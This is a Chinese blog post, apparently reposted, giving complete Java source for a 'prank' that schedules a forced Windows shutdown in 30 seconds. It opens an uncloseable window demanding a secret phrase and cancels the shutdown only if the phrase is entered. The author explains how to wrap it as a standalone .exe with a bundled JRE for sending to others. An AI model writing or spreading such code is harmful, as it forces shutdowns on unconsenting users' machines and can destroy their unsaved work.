生活随笔
收集整理的這篇文章主要介紹了
Java整人程序-电脑关机
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
Java整人程序(一)
介紹
如圖所示:
輸入內(nèi)容可更換為想要的內(nèi)容,從打開就開始計(jì)時,超過了時間的話你懂的hhh
效果
1.不可關(guān)閉窗口(圖片為當(dāng)點(diǎn)擊×?xí)r)
2.當(dāng)輸入的不是規(guī)定的輸入時(點(diǎn)擊確定之后)
代碼
話不多說,上代碼!
第一個類(Play2)
import javax
.imageio
.ImageIO
;
import javax
.swing
.*;
import java
.awt
.*;
import java
.awt
.event
.*;
import java
.io
.IOException
;
public class Play2 extends JFrame{private String text
;private JPanel mainPanel
= new JPanel();private Frame frame
= new Frame("嘻嘻嘻");private JLabel questionLabel
= new JLabel("請?jiān)谙旅孑斎搿癤XXX”,不然電腦在30秒后關(guān)機(jī)!");private TextArea textField
= new TextArea(5,45);private JButton button
= new JButton("確定");public void init() {mainPanel
.add(questionLabel
);mainPanel
.add(textField
);mainPanel
.add(button
);questionLabel
.setFont(new Font("黑體",Font
.BOLD,14));try {frame
.setIconImage(ImageIO
.read(Play1
.class
.getResource("520.ico")));} catch (IOException e
) {e
.printStackTrace();}frame
.setBounds(550,200,400,190);frame
.setLocationRelativeTo(null);frame
.setResizable(false);frame
.setVisible(true);frame
.add(mainPanel
);event();}public void event(){frame
.addWindowListener(new WindowAdapter() {public void windowClosing(WindowEvent e) {int option
= JOptionPane
.showConfirmDialog(Play2
.this
,"請輸入!!!");if(option
==0)JOptionPane
.showMessageDialog(Play2
.this
,"快點(diǎn)去!!!");elseJOptionPane
.showMessageDialog(Play2
.this
,"乖");}});textField
.addTextListener(new TextListener() {@Override
public void textValueChanged(TextEvent e) {text
= textField
.getText();}});button
.addActionListener(new ActionListener() {@Override
public void actionPerformed(ActionEvent e) {String actionCommand
= e
.getActionCommand();if (actionCommand
.equals("確定")&&text
.equals("XXXX")){undoshutdown();}else{int option
= JOptionPane
.showConfirmDialog(Play2
.this
,"你已經(jīng)涼涼了!!!");if(option
==0) {JOptionPane
.showMessageDialog(Play2
.this
, "稍等片刻,馬上關(guān)機(jī)!");System
.exit(0);}elseSystem
.exit(0);}}});}public static void undoshutdown(){try {Runtime
.getRuntime().exec("shutdown /a");} catch (IOException e
) {e
.printStackTrace();}System
.exit(0);}}
第二個類(Play3)
import java
.io
.IOException
;
public class Play3 extends Thread {@Override
public void run() {Runtime runtime
= Runtime
.getRuntime();try {runtime
.exec("shutdown -s -t 30");} catch (IOException ex
) {ex
.printStackTrace();}}
}
第三個類(Play1)-主類
public class Play1 {public static void main(String[] args) {Play2 play2
= new Play2();play2
.init();Play3 play3
= new Play3();play3
.start();}
}
注意事項(xiàng)
此程序只適合有Java運(yùn)行環(huán)境(jdk)的電腦使用,若要發(fā)給沒有Java運(yùn)行環(huán)境的人就得使用 exe4j Wizard 將此程序的.jar文件變成.exe文件,并且附帶jdk里的jre文件夾一起發(fā)給別人,可以結(jié)合 Inno Setup Compiler 一起使用
大家感興趣的話我可以發(fā)布這兩款軟件的使用教程
謝謝大家觀看!
總結(jié)
以上是生活随笔為你收集整理的Java整人程序-电脑关机的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。